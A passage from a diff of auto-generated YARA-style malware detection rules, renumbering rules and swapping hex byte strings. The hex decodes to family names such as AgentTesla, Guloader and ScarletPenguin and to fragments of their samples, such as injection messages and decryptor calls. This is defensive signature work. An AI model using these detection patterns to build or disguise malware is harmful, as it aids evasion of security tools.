54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 33 32 2f 45 62 69 6c 69 6e 67 61 73 2e 41 21 62 69 74 00 01 00 12 03 3c 21 2d 2d 22 90 02 20 2e 65 78 65 22 2d 2d 3e 90 00 01 00 12 03 3c 21 2d 2d 22 90 02 20 2e } //16675 $a_22_1 = {2d 3e 90 00 01 00 12 03 3c 21 2d 2d 22 90 02 20 2e 69 63 6f 22 2d 2d 3e 90 00 01 00 17 01 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 3c 2f 48 54 4d 4c 3e 00 00 78 94 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 53 63 61 72 6c 65 74 50 65 6e 67 75 69 6e 2e 42 21 64 68 61 00 01 00 19 03 55 73 61 67 65 } //30836 $a_90_2 = {0f 2e 65 78 65 20 50 32 50 2e 64 6c 6c 90 00 01 00 14 01 50 32 50 2e 64 6c 6c 20 4f 70 65 6e 20 } //14880 - $a_6c_3 = {64 2e 01 00 12 01 49 6e 6a 65 63 74 20 50 32 50 20 46 61 69 6c 65 64 2e 01 00 13 01 49 6e 6a 65 63 74 20 50 32 50 20 53 75 63 63 65 73 73 2e 00 00 78 94 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 30 32 30 21 4d 54 42 00 01 00 13 81 } //24934 + $a_6c_3 = {64 2e 01 00 12 01 49 6e 6a 65 63 74 20 50 32 50 20 46 61 69 6c 65 64 2e 01 00 13 01 49 6e 6a 65 63 74 20 50 32 50 20 53 75 63 63 65 73 73 2e 00 00 78 94 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6c 75 6d 73 79 47 69 61 6e 74 2e 41 21 64 68 61 00 01 00 22 01 53 00 68 00 65 00 } //24934 condition: ((#a_46_0 & 1)*16675+(#a_22_1 & 1)*30836+(#a_90_2 & 1)*14880+(#a_6c_3 & 1)*24934) >=4 } -rule _InfrastructureShared_10101{ +rule _InfrastructureShared_10747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 53 63 61 72 6c 65 74 50 65 6e 67 75 69 6e 2e 42 21 64 68 61 00 01 00 19 03 55 73 61 67 65 20 3a 20 90 02 0f 2e 65 78 65 20 50 32 50 2e 64 6c 6c 90 00 01 00 14 01 50 32 50 2e 64 6c 6c } //16675 - $a_65_1 = {20 66 61 69 6c 65 64 2e 01 00 12 01 49 6e 6a 65 63 74 20 50 32 50 20 46 61 69 6c 65 64 2e 01 00 13 01 49 6e 6a 65 63 74 20 50 32 50 20 53 75 63 63 65 73 73 2e 00 00 78 94 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 30 32 30 21 4d 54 42 00 01 00 13 81 01 } //20256 - $a_43_2 = {43 43 43 30 31 00 44 44 44 44 44 30 31 00 01 00 23 81 01 0f 53 00 74 00 72 00 69 00 6e 00 67 00 31 00 00 03 25 06 01 05 70 00 70 00 00 09 4c 00 6f 00 61 00 64 00 01 00 0e 81 01 43 72 65 61 74 65 49 6e } //17152 - $a_6e_3 = {65 01 00 0a 81 01 46 72 6f 6d 42 61 73 65 36 34 00 00 78 94 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 43 43 4d 31 32 33 21 4d 54 42 00 01 00 09 81 01 61 6e 61 63 6c 69 6e 61 6c 01 00 0a 81 01 6e 65 67 71 74 69 61 74 6f 72 01 00 23 81 01 6c } //29811 + $a_65_1 = {20 66 61 69 6c 65 64 2e 01 00 12 01 49 6e 6a 65 63 74 20 50 32 50 20 46 61 69 6c 65 64 2e 01 00 13 01 49 6e 6a 65 63 74 20 50 32 50 20 53 75 63 63 65 73 73 2e 00 00 78 94 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6c 75 6d 73 79 47 69 61 6e 74 2e 41 21 64 68 61 00 01 00 22 01 53 00 68 00 65 00 72 } //20256 + $a_00_3 = {4d 00 61 00 69 00 6e 00 43 00 6c 00 61 00 73 00 73 00 01 00 16 01 48 00 6f 00 73 00 74 00 41 00 64 00 64 00 72 00 65 00 73 00 73 00 01 00 } //102 condition: - ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*20256+(#a_43_2 & 1)*17152+(#a_6e_3 & 1)*29811) >=4 + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*20256+(#a_00_3 & 1)*102) >=4 } -rule _InfrastructureShared_10102{ +rule _InfrastructureShared_10748{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6c 75 6d 73 79 47 69 61 6e 74 2e 41 21 64 68 61 00 01 00 22 01 53 00 68 00 65 00 72 00 69 00 66 00 66 00 2e 00 4d 00 61 00 69 00 6e 00 43 00 6c 00 61 00 73 00 73 00 01 00 16 01 48 00 6f 00 } //16675 + $a_00_1 = {41 00 64 00 64 00 72 00 65 00 73 00 73 00 01 00 10 01 47 00 75 00 69 00 64 00 54 00 65 00 78 00 74 00 01 00 10 01 4d 00 61 00 69 00 6e 00 50 00 61 00 74 00 68 00 00 00 78 94 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 30 32 30 21 4d 54 42 00 01 00 13 81 01 00 43 43 } //115 + $a_43_2 = {30 31 00 44 44 44 44 44 30 31 00 01 00 23 81 01 0f 53 00 74 00 72 00 69 00 6e 00 67 00 31 00 00 03 25 06 01 05 70 00 70 00 00 09 4c 00 6f 00 61 00 64 00 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 } //17219 + $a_01_3 = {00 0a 81 01 46 72 6f 6d 42 61 73 65 36 34 00 00 78 94 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 43 43 4d 31 32 33 21 4d 54 42 00 01 00 09 81 01 61 6e 61 63 6c 69 6e 61 6c 01 00 0a 81 01 6e 65 67 71 74 69 61 74 6f 72 01 00 23 81 01 6c 65 76 65 6e 64 65 } //25454 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_43_2 & 1)*17219+(#a_01_3 & 1)*25454) >=4 + +} +rule _InfrastructureShared_10749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -109442,7 +116569,7 @@ rule _InfrastructureShared_10102{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*262+(#a_00_3 & 1)*100) >=4 } -rule _InfrastructureShared_10103{ +rule _InfrastructureShared_10750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -109455,7 +116582,7 @@ rule _InfrastructureShared_10103{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*25966+(#a_6c_2 & 1)*29284+(#a_64_3 & 1)*28524) >=4 } -rule _InfrastructureShared_10104{ +rule _InfrastructureShared_10751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -109468,7 +116595,7 @@ rule _InfrastructureShared_10104{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*26478+(#a_61_2 & 1)*24933+(#a_00_3 & 1)*28261) >=4 } -rule _InfrastructureShared_10105{ +rule _InfrastructureShared_10752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -109481,7 +116608,7 @@ rule _InfrastructureShared_10105{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*27751+(#a_6c_2 & 1)*28257+(#a_33_3 & 1)*26967) >=4 } -rule _InfrastructureShared_10106{ +rule _InfrastructureShared_10753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -109494,7 +116621,7 @@ rule _InfrastructureShared_10106{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28257+(#a_68_2 & 1)*28530+(#a_75_3 & 1)*12082) >=4 } -rule _InfrastructureShared_10107{ +rule _InfrastructureShared_10754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -109506,20 +116633,33 @@ rule _InfrastructureShared_10107{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*8307+(#a_6c_3 & 1)*385) >=4 } -rule _InfrastructureShared_10108{ +rule _InfrastructureShared_10755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 5a 4c 50 31 32 33 21 4d 54 42 00 01 00 0c 81 01 6d 75 72 65 72 6d 65 73 74 72 65 73 01 00 0b 81 01 66 6c 61 67 65 6c 6c 61 74 61 65 01 00 19 81 01 75 6e 64 65 72 6d 69 6e 69 6e 67 20 6c 69 6e 69 65 } //18467 - $a_67_1 = {72 6e 65 01 00 26 81 01 69 73 6f 63 79 61 6e 75 72 69 63 20 73 74 72 61 66 66 65 73 70 61 72 6b 65 74 73 20 75 6e 6e 79 6d 70 68 65 61 6e 00 00 78 94 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 41 49 30 31 21 4d 54 42 00 01 00 16 81 01 73 6f 6c 75 62 69 6c 69 7a 65 64 20 67 72 } //26994 - $a_65_2 = {6e 65 73 01 00 1a 81 01 70 61 69 6e 6c 65 73 73 20 61 6e 6e 75 6c 6f 69 64 61 20 70 72 6f 72 61 74 65 01 00 10 81 01 65 6b 73 6b 6c 20 75 6e 66 6f 72 67 69 76 65 6e 01 00 17 81 01 6a 65 72 6d 61 69 6e 65 20 74 6f 73 74 65 6d 6d 69 67 65 2e 65 78 65 00 00 78 94 00 00 04 00 04 00 04 00 21 23 48 } //25185 - $a_3a_3 = {69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 44 42 30 31 21 4d 54 42 00 01 00 14 81 01 74 72 61 66 66 69 63 6b 65 72 20 70 65 74 72 69 66 69 65 73 01 00 26 81 01 74 65 6e 6e 69 73 62 6f 6c 64 65 73 20 70 61 72 61 66 72 61 73 65 72 6e 65 20 73 } //21587 + $a_67_1 = {72 6e 65 01 00 26 81 01 69 73 6f 63 79 61 6e 75 72 69 63 20 73 74 72 61 66 66 65 73 70 61 72 6b 65 74 73 20 75 6e 6e 79 6d 70 68 65 61 6e 00 00 78 94 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4b 43 31 34 21 4d 54 42 00 01 00 0f 81 01 66 6f 6e 74 61 65 6e 65 20 65 6c 69 6e 65 73 } //26994 + $a_81_2 = {74 68 79 72 69 64 69 64 61 65 20 69 73 6f 74 68 65 72 6d 6f 62 61 74 68 69 63 20 74 72 69 6d 65 74 68 79 6c 73 74 69 62 69 6e 65 } //1 thyrididae isothermobathic trimethylstibine + $a_81_3 = {68 65 6c 6c 69 67 68 6f 6c 64 65 6c 73 65 6e 2e 65 78 65 } //1 helligholdelsen.exe condition: - ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*26994+(#a_65_2 & 1)*25185+(#a_3a_3 & 1)*21587) >=4 + ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*26994+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 } -rule _InfrastructureShared_10109{ +rule _InfrastructureShared_10756{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4b 43 31 34 21 4d 54 42 00 01 00 0f 81 01 66 6f 6e 74 61 65 6e 65 20 65 6c 69 6e 65 73 01 00 2b 81 01 74 68 79 72 69 64 69 64 61 65 20 69 73 6f 74 68 65 72 6d 6f 62 61 74 68 69 63 20 74 72 69 6d 65 } //18467 + $a_6c_1 = {74 69 62 69 6e 65 01 00 13 81 01 68 65 6c 6c 69 67 68 6f 6c 64 65 6c 73 65 6e 2e 65 78 65 01 00 0b 81 01 73 68 69 65 6c 64 64 72 61 6b 65 00 00 78 94 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 41 49 30 31 21 4d 54 42 00 01 00 16 81 01 73 6f 6c 75 62 69 6c 69 7a 65 64 20 67 72 61 62 62 65 72 6e 65 73 01 00 1a } //26740 + $a_61_2 = {6e 6c 65 73 73 20 61 6e 6e 75 6c 6f 69 64 61 20 70 72 6f 72 61 74 65 01 00 10 81 01 65 6b 73 6b 6c 20 75 6e 66 6f 72 67 69 76 65 6e 01 00 17 81 01 6a 65 72 6d 61 69 6e 65 20 74 6f 73 74 65 6d 6d 69 67 65 2e 65 78 65 00 00 78 94 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 44 42 30 31 } //385 + $a_42_3 = {01 00 14 81 01 74 72 61 66 66 69 63 6b 65 72 20 70 65 74 72 69 66 69 65 73 01 00 26 81 01 74 65 6e 6e 69 73 62 6f 6c 64 65 73 20 70 61 72 61 66 72 61 73 65 72 6e 65 20 73 70 61 67 68 65 74 74 69 65 72 73 01 00 0e 81 01 72 65 69 6e 76 65 73 74 65 72 65 } //19745 + condition: + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*26740+(#a_61_2 & 1)*385+(#a_42_3 & 1)*19745) >=4 + +} +rule _InfrastructureShared_10757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -109532,7 +116672,7 @@ rule _InfrastructureShared_10109{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*25972+(#a_6b_2 & 1)*385+(#a_74_3 & 1)*28704) >=4 } -rule _InfrastructureShared_10110{ +rule _InfrastructureShared_10758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -109545,7 +116685,7 @@ rule _InfrastructureShared_10110{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*28787+(#a_64_2 & 1)*4096+(#a_33_3 & 1)*29285) >=4 } -rule _InfrastructureShared_10111{ +rule _InfrastructureShared_10759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -109557,7 +116697,7 @@ rule _InfrastructureShared_10111{ ((#a_46_0 & 1)*21283+(#a_2d_1 & 1)*11565+(#a_64_2 & 1)*25185) >=4 } -rule _InfrastructureShared_10112{ +rule _InfrastructureShared_10760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -109571,7 +116711,7 @@ rule _InfrastructureShared_10112{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*26980+(#a_69_2 & 1)*29295+(#a_00_3 & 1)*114+(#a_2f_4 & 1)*384) >=4 } -rule _InfrastructureShared_10113{ +rule _InfrastructureShared_10761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -109585,7 +116725,7 @@ rule _InfrastructureShared_10113{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*28769+(#a_6f_2 & 1)*11890+(#a_54_3 & 1)*8448+(#a_3a_4 & 1)*384) >=4 } -rule _InfrastructureShared_10114{ +rule _InfrastructureShared_10762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -109599,7 +116739,7 @@ rule _InfrastructureShared_10114{ ((#a_41_0 & 1)*20515+(#a_74_1 & 1)*25955+(#a_52_2 & 1)*21071+(#a_50_3 & 1)*25956+(#a_6c_4 & 1)*15392) >=4 } -rule _InfrastructureShared_10115{ +rule _InfrastructureShared_10763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 04 00 06 00 21 " @@ -109614,7 +116754,7 @@ rule _InfrastructureShared_10115{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*21605+(#a_00_2 & 1)*26724+(#a_2e_3 & 1)*26982+(#a_56_4 & 1)*385+(#a_75_5 & 1)*16725) >=4 } -rule _InfrastructureShared_10116{ +rule _InfrastructureShared_10764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -109628,7 +116768,7 @@ rule _InfrastructureShared_10116{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29813+(#a_65_2 & 1)*24947+(#a_75_3 & 1)*11888+(#a_61_4 & 1)*25701) >=5 } -rule _InfrastructureShared_10117{ +rule _InfrastructureShared_10765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -109641,7 +116781,7 @@ rule _InfrastructureShared_10117{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*26158+(#a_01_2 & 1)*5120+(#a_61_3 & 1)*24936) >=5 } -rule _InfrastructureShared_10118{ +rule _InfrastructureShared_10766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -109655,7 +116795,7 @@ rule _InfrastructureShared_10118{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*25701+(#a_74_2 & 1)*28255+(#a_00_3 & 1)*5+(#a_3a_4 & 1)*21587) >=5 } -rule _InfrastructureShared_10119{ +rule _InfrastructureShared_10767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -109669,7 +116809,7 @@ rule _InfrastructureShared_10119{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*8299+(#a_53_2 & 1)*8993+(#a_00_3 & 1)*29795+(#a_6c_4 & 1)*385) >=5 } -rule _InfrastructureShared_10120{ +rule _InfrastructureShared_10768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -109677,27 +116817,41 @@ rule _InfrastructureShared_10120{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 32 39 21 4d 54 42 00 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 01 00 09 81 01 42 6c 6f 63 6b } //18467 $a_79_1 = {00 16 81 01 35 35 52 37 53 50 43 34 42 35 34 4a 51 47 4e 34 43 35 34 37 48 34 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 94 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 32 39 21 4d 54 42 00 01 00 13 81 01 54 72 61 6e 73 66 6f 72 } //28483 $a_6e_2 = {6c 42 6c 6f 63 6b 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 01 00 09 81 01 42 6c 6f 63 6b 43 6f 70 79 01 00 16 81 01 35 38 35 47 35 34 53 34 43 35 48 42 43 35 53 59 44 35 34 35 34 32 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 94 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 } //18029 - $a_6c_3 = {61 64 65 72 2e 4b 4f 4f 46 31 32 33 21 4d 54 42 00 01 00 14 81 01 76 65 73 74 6b 79 73 74 73 20 72 69 6e 67 74 61 69 6c 65 64 01 00 16 81 01 61 72 63 74 69 63 61 6c 6c 79 20 72 65 76 79 65 72 73 2e 65 78 65 01 00 08 81 01 62 6c 69 6e 6b 65 72 73 01 00 06 81 01 61 6e 73 61 61 73 01 00 19 81 01 71 75 65 72 65 6e 64 79 20 6b 65 74 74 79 20 64 64 73 61 } //18223 - $a_73_4 = {73 00 00 78 94 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 52 45 47 31 32 33 21 4d 54 42 00 01 00 09 81 01 6c 61 76 61 65 72 6e 65 73 01 00 08 81 01 64 61 6d 61 73 6b 65 72 01 00 1c 81 01 63 61 72 70 61 6c 65 20 67 72 69 73 6f 6e 20 73 6f 72 74 65 6b 75 } //29812 + $a_6c_3 = {61 64 65 72 2e 47 4d 46 30 31 21 4d 54 42 00 01 00 17 81 01 6c 69 76 73 73 74 69 6c 65 6e 65 73 20 6c 65 6e 73 68 65 72 72 65 73 01 00 13 81 01 63 61 73 63 61 64 69 74 65 20 62 65 6c 62 65 2e 65 78 65 01 00 0a 81 01 70 6f 67 6f 6e 69 61 73 69 73 01 00 10 81 01 73 70 69 6f 6e 6b 61 6d 65 72 61 65 72 6e 65 73 01 00 0f 81 01 41 6e 65 6b 64 6f 74 69 73 } //18223 + $a_62_4 = {6e 00 00 78 94 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4f 4f 46 31 32 33 21 4d 54 42 } //25963 condition: - ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*28483+(#a_6e_2 & 1)*18029+(#a_6c_3 & 1)*18223+(#a_73_4 & 1)*29812) >=5 + ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*28483+(#a_6e_2 & 1)*18029+(#a_6c_3 & 1)*18223+(#a_62_4 & 1)*25963) >=5 } -rule _InfrastructureShared_10121{ +rule _InfrastructureShared_10769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 32 39 21 4d 54 42 00 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 01 00 09 81 01 42 6c 6f 63 6b } //18467 - $a_79_1 = {00 16 81 01 35 38 35 47 35 34 53 34 43 35 48 42 43 35 53 59 44 35 34 35 34 32 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 94 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4f 4f 46 31 32 33 21 4d 54 42 00 01 00 14 81 01 76 65 73 74 6b 79 73 74 73 20 72 69 6e 67 74 } //28483 - $a_65_2 = {01 00 16 81 01 61 72 63 74 69 63 61 6c 6c 79 20 72 65 76 79 65 72 73 2e 65 78 65 01 00 08 81 01 62 6c 69 6e 6b 65 72 73 01 00 06 81 01 61 6e 73 61 61 73 01 00 19 81 01 71 75 65 72 65 6e 64 79 20 6b 65 74 74 79 20 64 64 73 61 74 74 65 73 74 73 00 00 78 94 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 } //26977 - $a_64_3 = {72 2e 4b 52 45 47 31 32 33 21 4d 54 42 00 01 00 09 81 01 6c 61 76 61 65 72 6e 65 73 01 00 08 81 01 64 61 6d 61 73 6b 65 72 01 00 1c 81 01 63 61 72 70 61 6c 65 20 67 72 69 73 6f 6e 20 73 6f 72 74 65 6b 75 6e 73 74 6e 65 72 01 00 18 81 01 76 69 64 75 6e 64 65 72 62 61 72 6e 73 20 64 72 61 67 } //28524 - $a_6f_4 = {64 01 00 0c 81 01 76 6f 6c 6c 65 79 62 61 6c 6c 65 6e 00 00 78 94 00 00 05 00 05 00 06 00 21 23 48 53 54 52 3a 53 63 61 72 65 43 72 6f 77 2e 49 6d 70 6f 72 74 73 00 01 00 10 01 65 6e 63 6f 64 69 6e 67 2f 62 61 73 65 36 34 2f 01 00 0e 01 63 72 79 70 74 6f 2f 63 69 70 68 65 72 2f 01 00 0e 01 6c 6f 61 64 65 72 2f } //28271 + $a_79_1 = {00 16 81 01 35 38 35 47 35 34 53 34 43 35 48 42 43 35 53 59 44 35 34 35 34 32 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 94 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 46 30 31 21 4d 54 42 00 01 00 17 81 01 6c 69 76 73 73 74 69 6c 65 6e 65 73 20 6c 65 6e 73 } //28483 + $a_72_2 = {73 01 00 13 81 01 63 61 73 63 61 64 69 74 65 20 62 65 6c 62 65 2e 65 78 65 01 00 0a 81 01 70 6f 67 6f 6e 69 61 73 69 73 01 00 10 81 01 73 70 69 6f 6e 6b 61 6d 65 72 61 65 72 6e 65 73 01 00 0f 81 01 41 6e 65 6b 64 6f 74 69 73 6b 65 2e 62 69 6e 00 00 78 94 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 } //25960 + $a_4f_3 = {31 32 33 21 4d 54 42 00 01 00 14 81 01 76 65 73 74 6b 79 73 74 73 20 72 69 6e 67 74 61 69 6c 65 64 01 00 16 81 01 61 72 63 74 69 63 61 6c 6c 79 20 72 65 76 79 65 72 73 2e 65 78 65 01 00 08 81 01 62 6c 69 6e 6b 65 72 73 01 00 06 81 01 61 } //19246 + $a_61_4 = {01 00 19 81 01 71 75 65 72 65 6e 64 79 20 6b 65 74 74 79 20 64 64 73 61 74 74 65 73 74 73 00 00 78 94 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 52 45 47 31 32 33 21 4d 54 42 00 01 00 09 81 01 6c 61 76 61 65 72 6e 65 73 01 00 08 81 01 64 61 } //29550 condition: - ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*28483+(#a_65_2 & 1)*26977+(#a_64_3 & 1)*28524+(#a_6f_4 & 1)*28271) >=5 + ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*28483+(#a_72_2 & 1)*25960+(#a_4f_3 & 1)*19246+(#a_61_4 & 1)*29550) >=5 } -rule _InfrastructureShared_10122{ +rule _InfrastructureShared_10770{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 46 30 31 21 4d 54 42 00 01 00 17 81 01 6c 69 76 73 73 74 69 6c 65 6e 65 73 20 6c 65 6e 73 68 65 72 72 65 73 01 00 13 81 01 63 61 73 63 61 64 69 74 65 20 62 65 6c 62 65 2e 65 78 65 01 00 0a 81 01 } //18467 + $a_6f_1 = {69 61 73 69 73 01 00 10 81 01 73 70 69 6f 6e 6b 61 6d 65 72 61 65 72 6e 65 73 01 00 0f 81 01 41 6e 65 6b 64 6f 74 69 73 6b 65 2e 62 69 6e 00 00 78 94 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4f 4f 46 31 32 33 21 4d 54 42 00 01 00 14 81 01 76 65 73 74 6b 79 } //28528 + $a_20_2 = {69 6e 67 74 61 69 6c 65 64 01 00 16 81 01 61 72 63 74 69 63 61 6c 6c 79 20 72 65 76 79 65 72 73 2e 65 78 65 01 00 08 81 01 62 6c 69 6e 6b 65 72 73 01 00 06 81 01 61 6e 73 61 61 73 01 00 19 81 01 71 75 65 72 65 6e 64 79 20 6b 65 74 74 79 20 64 64 73 61 74 74 65 73 74 73 00 00 78 94 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f } //29811 + $a_6f_3 = {64 65 72 2e 4b 52 45 47 31 32 33 21 4d 54 42 00 01 00 09 81 01 6c 61 76 61 65 72 6e 65 73 01 00 08 81 01 64 61 6d 61 73 6b 65 72 01 00 1c 81 01 63 61 72 70 61 6c 65 20 67 72 69 73 6f 6e 20 73 6f 72 74 65 6b 75 6e 73 74 6e 65 72 01 00 18 81 01 76 69 64 75 6e 64 65 72 62 61 72 6e 73 20 64 72 61 67 6f 6e 68 6f 6f 64 01 00 0c } //30023 + $a_6f_4 = {6c 65 79 62 61 6c 6c 65 6e 00 00 78 94 00 00 05 00 05 00 06 00 21 23 48 53 54 52 3a 53 63 61 72 65 43 72 6f 77 2e 49 6d 70 6f 72 74 73 00 01 00 10 01 65 6e 63 6f 64 69 6e 67 2f 